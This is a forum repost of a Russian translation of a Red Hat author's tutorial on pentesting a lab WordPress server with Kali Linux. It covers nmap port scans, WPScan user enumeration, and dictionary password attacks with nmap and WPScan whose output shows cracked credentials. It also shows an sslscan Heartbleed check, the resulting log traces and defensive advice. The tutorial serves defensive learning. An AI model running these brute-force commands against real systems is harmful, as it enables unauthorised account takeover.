[Настройка Linux, Информационная безопасность] Найти и не обезвредить: пишем пентесты с Kali Linux (перевод)

Автор Сообщение
news_bot ®

Стаж: 6 лет 9 месяцев
Сообщений: 27286

Создавать темы news_bot ® написал(а)
27-Май-2021 17:33

Kali и другие подобные инструменты помогают обнаружить уязвимости в вашем ПО. И лучше, если первыми их найдёте вы, а не злоумышленники.

Шило в мешке не утаить: по неведению (правда, в некоторых случаях — умышленно) даже крупные корпорации оставляют дыры в своей системе безопасности. Жизненно важно как можно быстрее (1) локализовать их и (2) пофиксить. К счастью, существует множество различных продуктов, которые помогают с первым пунктом. Среди них можно выделить Kali, дистрибутив Linux, разработанный для тестирования систем безопасности. В этой статье я расскажу, как использовать Kali Linux для исследования вашей системы и поиска слабых мест, имитируя атаку злоумышленника.
Дистрибутив Kali включает множество инструментов, каждый из которых имеет открытый исходный код. Достаточно запустить установку дистрибутива и все эти инструменты будут доступны из коробки.


Изображение: Peter Gervase,CC BY-SA 4.0
В качестве подопытных я буду использовать две системы:
  • kali.usersys.redhat.com: 30 Гб памяти и 6 виртуальных CPU. Эта система будет выполнять сканирование «жертвы» и запускать атаки.
  • vulnerable.usersys.redhat.com: система с Red Hat Enterprise Linux 8 на борту. Вот её нужно будет атаковать.

Я не зря упомянул здесь технические характеристики оборудования. Некоторые из наших задач довольно требовательны к железу, особенно — к CPU системы 2, на которой будет работать сканер безопасности WordPress (WPScan).
Поиск открытых портов
Я начал с базового сканирования системы 2. Сканируя систему с помощью Nmap, можно узнать, какие порты и службы видны из системы 1, запускающей сканирование.


Изображение: Peter Gervase,CC BY-SA 4.0
Итак, первым делом можно найти несколько «интересных» открытых портов — потенциальных слабых мест. На самом деле, любой открытый порт интересен, потому что с его помощью больше шансов взломать сеть. В этом примере 21, 22, 80 и 443 — это ещё и порты часто используемых служб. Но пока я просто занимаюсь разведкой и пытаюсь получить как можно больше информации о системе, которую хочу взломать.
После этого для более глубокого анализа я выбраю порт 80 и запускаю команду Nmap с аргументами -p 80 и -A. Это позволяет получить информацию об операционной системе и приложении, которое использует 80-й порт.


Изображение: Peter Gervase,CC BY-SA 4.0
Здесь нас интересуют следующие строки:
PORT   STATE SERVICE VERSION
80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1

Поиск информации о пользователях
Поскольку теперь я знаю, что это сервер WordPress, я могу использовать WPScan для получения информации о потенциальных уязвимостях. Хорошо бы найти несколько имён пользователей и их пароли. Чтобы найти их в данном в экземпляре WordPress, используем опции --enumerate u:
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|
        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic — https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
User(s) Identified:
[+] admin
 | Found By: Author Posts — Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)
[+] pgervase
 | Found By: Author Posts — Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Отлично, найдены два пользователя: admin и pgervase. Я попытаюсь подобрать пароль для пользователя admin, используя словари паролей — текстовый файл с набором возможных вариантов. Я возьму словари из 3 231 и из 3 543 076 137 строк.
Подбор пароля с атакой по словарю
Для атаки по словарю можно использовать разные инструменты. Вот два примера команд с Nmap и WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

Эти два инструмента, конечно же, могут гораздо больше, но и для подбора паролей тоже годятся. 
А вот эта команда WPScan, например, выводит пароль в конце файла:
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|
        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic — https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 
<==================================================================================================================>
 (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 
<=========================================================            
                                             > (3231 / 6462) 50.00% 
 ETA: ??:??:??
[SUCCESS] — admin / redhat                                              
                                                                        
                                                
[!] Valid Combinations Found:
 | Username: admin, Password: redhat

Раздел Valid Combinations Found в конце содержит имя пользователя admin и его пароль. На перебор 3 231 строк ушло всего две минуты.
У меня есть ещё один файл словаря с 3 238 659 984 уникальными записями, что займет гораздо больше времени.
Nmap выдаёт результат намного быстрее:
┌──(rootkali)-[~]
└─# nmap -sV --script http-wordpress-brute 
--script-args userdb=users.txt,passdb=password.txt,threads=6 
vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
|   Accounts:
|       admin:redhat — Valid credentials              <<<<<<<
|       pgervase:redhat — Valid credentials         <<<<<<<
|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version     port/proto  service
|   100000  2,3,4       111/tcp   rpcbind
|   100000  2,3,4       111/udp   rpcbind
|   100000  3,4         111/tcp6  rpcbind
|_  100000  3,4         111/udp6  rpcbind
3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

Правда, такое сканирование можно отследить по HTTPD-логам, которые будут обнаружены во взломанной системе:
10.19.47.170
 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575
 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 
(https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 
v3.8.10 (https://wpscan.org/)»

Поиск Heartbleed-уязвимости
Чтобы получить информацию о HTTPS-сервере и SSL/TLS протоколах, я использую команду sslscan:
┌──(rootkali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev  xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
  SSL/TLS Protocols:
SSLv2   disabled
SSLv3   disabled
TLSv1.0   disabled
TLSv1.1   disabled
TLSv1.2   enabled
TLSv1.3   enabled
<snip>

Мы видим, что в версиях протоколов, которые используются на сервере, Heartbleed-уязвимость не обнаружена:
Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed

Ну что ж, значит через модуль Heartbeat я не могу получить доступ к оперативной памяти и данным сервера. Что ж… видно не судьба :)
Советы по предотвращению и защите от взлома
Можно написать много статей про то, как противостоять атакам хакеров всех мастей. Тут я ограничусь общими рекомендациями:
  • Изучайте свою систему: какие порты открыты, какие порты должны быть открыты, кто должен иметь возможность видеть эти порты и какой объём трафика должен проходить через них. Nmap вам в помощь.
  • Используйте лучшие и передовые практики: то, что считается передовой практикой сегодня, перестанет быть таковой в ​​будущем. Важно быть в курсе новейших достижений в области информационной безопасности.
  • Грамотно настраивайте ваши продукты и их окружение: например, вместо того, чтобы позволять злоумышленнику постоянно атаковать вашу систему WordPress, заблокируйте его IP-адрес и ограничьте количество попыток входа в систему. Правда, блокировка IP-адреса часто оказывается бесполезной, потому что злоумышленники могут использовать разные адреса. Однако эту настройку легко включить, и она поможет отразить хотя бы некоторые атаки.
  • Создавайте и поддерживайте качественные резервные копии: если злоумышленник взломает одну или несколько ваших систем, возможность восстановить данные без танцев с бубном поможет сэкономить много времени и денег.
  • Проверяйте свои логи: как показывают приведённые выше примеры, команды сканирования и прочие проникающие манипуляции могут оставлять множество логов. Если вы заметили их вовремя, вы успеете защититься от взлома.
  • Обновляйте свою систему, приложения и любые дополнительные модули: специалисты Института стандартов и технологий США уверены, что «обновления обычно являются наиболее эффективным способом устранения уязвимостей и часто могут стать единственным по-настоящему эффективным решением».
  • Используйте дополнительные инструменты от поставщиков вашего ПО: например, в подписку Red Hat Enterprise Linux входит инструмент Red Hat Insights, который позволяет настроить вашу систему и своевременно предупреждает о потенциальных угрозах безопасности.

Полезные материалы (на английском языке)
То, что описано в этой статье, — лишь вершина айсберга. Чтобы погрузиться глубже, вы можете изучить следующие ресурсы:

Облачные серверы от Маклауд быстрые и безопасные.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

оригинал
===========
Источник:
habr.com
===========

===========
Автор оригинала: Peter Gervase (Red Hat)
===========
Похожие новости: Теги для поиска: #_nastrojka_linux (Настройка Linux), #_informatsionnaja_bezopasnost (Информационная безопасность), #_kali_linux, #_vzlom (взлом), #_hakery (хакеры), #_pentest (пентест), #_vds, #_vps, #_deshevyj_vds (дешевый vds), #_deshevyj_vps (дешевый vps), #_blog_kompanii_maklaud (
Блог компании Маклауд
)
, #_nastrojka_linux (
Настройка Linux
)
, #_informatsionnaja_bezopasnost (
Информационная безопасность
)
Профиль  ЛС 
Показать сообщения:     

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы

Текущее время: 22-Ноя 12:58
Часовой пояс: UTC + 5